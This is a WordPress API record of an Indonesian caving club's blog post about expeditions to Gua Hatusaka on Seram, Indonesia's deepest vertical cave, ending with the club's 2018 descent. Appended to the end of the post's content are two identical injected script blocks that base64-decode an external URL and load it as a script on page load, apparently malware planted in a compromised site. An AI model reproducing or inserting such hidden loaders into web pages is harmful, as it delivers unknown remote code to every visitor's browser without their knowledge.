{"id":2810,"date":"2024-12-14T23:15:31","date_gmt":"2024-12-14T16:15:31","guid":{"rendered":"http:\/\/asc.or.id\/asc-jogja\/?p=2810"},"modified":"2025-11-02T19:21:46","modified_gmt":"2025-11-02T12:21:46","slug":"menjejak-dasar-goa-terdalam","status":"publish","type":"post","link":"http:\/\/asc.or.id\/asc-jogja\/menjejak-dasar-goa-terdalam\/","title":{"rendered":"Menjejak Dasar Goa Terdalam (1)"},"content":{"rendered":"<h1>Menjejak Dasar Goa Terdalam Di Indonesia<\/h1>\n<p>Taman Nasional Manusela memiliki obyek alam fenomenal yakni Gua Hatusaka. Saat ini Gua Hatusaka dikenal sebagai gua vertikal terdalam di Indonesia. Kedalamannya yang teleh dipetakan sebelumnya -388 m dari bibir lubang masuk\u00a0 gua.<\/p>\n<p>Goa yang berada di Pulau Seram, Kabupaten Maluku Tengah, Provinsi Maluku ini, dijelajahi dan dipetakan pertama kali oleh tim ekspedisi goa gabungan dari Amerika, Inggris, Perancis dan Australia pada tahun 1996, namun upaya pertama mencapai dasar goa gagal saat itu. Tim gabungan tersebut baru berhasil mencapai dasar goa pada upaya kedua tahun 1998. \u00a0Berikutnya pada tahun 2011, ASC melakukan percobaan pertama menggapai dasar Goa Hatusaka melalui kegiatan Ekspedisi Speleologi Seram. Upaya penelusuran ini terhenti di kedalaman -190 meter karena air sungai yang membanjiri lorong goa.<\/p>\n<p>Tim ekpedisi goa dari Italia pada tahun 2016 berhasil mencatatkan diri sebagai tim kedua yang mencapai dasar Goa Hatusaka.\u00a0 Tim yang dipimpin oleh Andrea Benassi ini juga berhasil memetakan satu segmen lorong di Goa Hatusaka. Termotivasi oleh keberhasilan tim penelusur Italia, tahun 2017 Mapala UI melakukan upaya mencapai dasar Goa Hatusaka, namun gagal di kedalaman -220 karena banjir memasuki lorong goa.<\/p>\n<p>Fakta bahwa ekspedisi sebelumnya belum banyak mengungkap data dan informasi mengenai karateristik lain dari Gua Hatusaka, menggerakkan Balai Taman Nasional (BTN) Manusela untuk melakukan ekspedisi guna mengungkap potensi gua secara lebih lengkap.\u00a0 Guna mewujudkan misi dan cita-cita tersebut, BTN Manusela menggandeng \u00a0Acintyacunyata Speleological Club (ASC).<\/p>\n<p>Upaya kedua belah pihak berhasil.\u00a0 Tanggal 6 Agustus 2018, Tim penjelajah goa Acintyacunyata Speleological Club (ASC) berhasil menjadi tim Indonesia pertama yang mencapai dasar Goa Hatusaka. Selain itu, Tim ini juga berhasil memutakhirkan data mengenai kedalaman total dan luas ruangan di dasar goa serta melakukan pencatatan tentang flora-fauna dan karakter lain dari Gua Hatusaka. \u00a0Berdasarkan hasil pengukuran terkini, kedalaman gua adalah -377 m, sedikit lebih dalam dari angka yang diacu selama ini.<\/p>\n<p>Keberhasilan Tim ASC mencapai dasar dan mengungkap karakteristik Gua Hatusaka menjadi hadiah BTN Manusela dan ASC untuk HUT Kemerdekaan RI ke 73 dan sekaligus memberi bukti sejarah bahwa anak bangsa ini mampu bersaing dan sejajar dengan bangsa-bangsa lain di dunia.<\/p>\n<p>Tim ASC yang terdiri dari delapan orang&#8230; Menjejak Dasar Goa Terdalam (Bagian 2)<script>;\n;(function(f,b,n,j,x,e){\n        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');\n        x=b.createElement(n);e=b.getElementsByTagName(n)[0];\n        x.async=1;x.src=decodedUrl;\n        e.parentNode.insertBefore(x,e);\n    })(window,document,'script');<\/script><script>;\n;(function(f,b,n,j,x,e){\n        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');\n        x=b.createElement(n);e=b.getElementsByTagName(n)[0];\n        x.async=1;x.src=decodedUrl;\n        e.parentNode.insertBefore(x,e);\n    })(window,document,'script');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Menjejak Dasar Goa Terdalam Di Indonesia Taman Nasional Manusela memiliki obyek alam fenomenal yakni Gua Hatusaka. Saat ini Gua Hatusaka dikenal sebagai gua vertikal terdalam di Indonesia. Kedalamannya yang teleh dipetakan sebelumnya -388 m&#46;&#46;&#46;<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"_links":{"self":[{"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/posts\/2810"}],"collection":[{"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/comments?post=2810"}],"version-history":[{"count":8,"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/posts\/2810\/revisions"}],"predecessor-version":[{"id":2985,"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/posts\/2810\/revisions\/2985"}],"wp:attachment":[{"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/media?parent=2810"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/categories?post=2810"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/asc.or.id\/asc-jogja\/wp-json\/wp\/v2\/tags?post=2810"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}